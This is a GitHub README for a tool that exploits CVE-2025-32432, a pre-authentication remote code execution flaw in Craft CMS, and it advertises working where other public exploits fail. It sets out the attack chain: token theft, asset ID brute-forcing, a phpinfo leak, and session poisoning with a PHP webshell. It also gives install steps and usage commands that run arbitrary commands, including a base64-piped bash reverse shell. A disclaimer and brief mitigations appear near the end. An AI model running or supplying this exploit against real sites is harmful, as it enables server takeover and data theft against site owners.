p34nut2/cve-2025-32432-exploit-by-p34nutReliable CVE-2025-32432 pre-auth RCE exploit for Craft CMS 3.x/4.x/5.x, works where other public PoCs fail
Author: P34NUT2
Vulnerability: Remote Code Execution (Pre-Authenticated) in Craft CMS
CVE: CVE-2025-32432
Target: Any vulnerable Craft CMS instance (3.x / 4.x / 5.x) — tested on Hack The Box: Orion
This tool is provided strictly for educational purposes and authorized penetration testing within controlled environments such as Hack The Box, TryHackMe, or private lab setups you own or have explicit written permission to test.
Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal under the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent laws in most jurisdictions worldwide.
The author assumes no responsibility or liability for any misuse, damage, or legal consequences resulting from the use of this software. Use responsibly and ethically.
Most public PoCs for CVE-2025-32432 fail against real-world targets like HTB: Orion due to:
&, >, <)This exploit was built from scratch to solve those reliability issues. It properly handles URL encoding, automates dynamic token extraction, and uses Base64 wrapper pipelines to achieve reliable execution against any vulnerable Craft CMS instance — validated against real deployments and proven on HTB Orion.
| Step | Action | Description |
|---|---|---|
| 1 | Session & CSRF Acquisition | Extracts CraftSessionId, CRAFT_CSRF_TOKEN, and dynamic CSRF_TOKEN from the admin endpoint |
| 2 | Asset ID Discovery | Brute-forces valid asset IDs required for the transform generation payload |
| 3 | Session Path Leakage | Injects a Guzzle object to trigger phpinfo() and read session.save_path dynamically |
| 4 | Session Poisoning | Injects a URL-encoded PHP webshell payload into the active session file |
| 5 | RCE Trigger | Unserializes the poisoned session to execute arbitrary system commands |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Flag | Long Option | Required | Description |
|---|---|---|---|
-u | --url | ✅ Yes | Target base URL (e.g. http://example.com) |
-c | --cmd | ✅ Yes | Command to execute on the remote target |
-a | --asset | ❌ No | Known valid Asset ID (speeds up execution) |
-s | --scan-max | ❌ No | Max Asset ID brute-force range (Default: 300) |
1. Basic Command Execution
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. With a Known Asset ID (faster)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Encoded Payload (Recommended for Special Characters)
To prevent special characters from being altered by HTTP parsers or truncated during session handling, encode your command in Base64 before passing it:
# Step 1 — encode your command locally
echo -n "YOUR_COMMAND_HERE" | base64
# Step 2 — pass the encoded string through the script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse Shell via Base64 Wrapper
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
If you are a system administrator or developer running Craft CMS, apply the following mitigations:
/actions/*) via firewall rules or middleware.This project is licensed for educational and authorized testing use only. See LICENSE for details.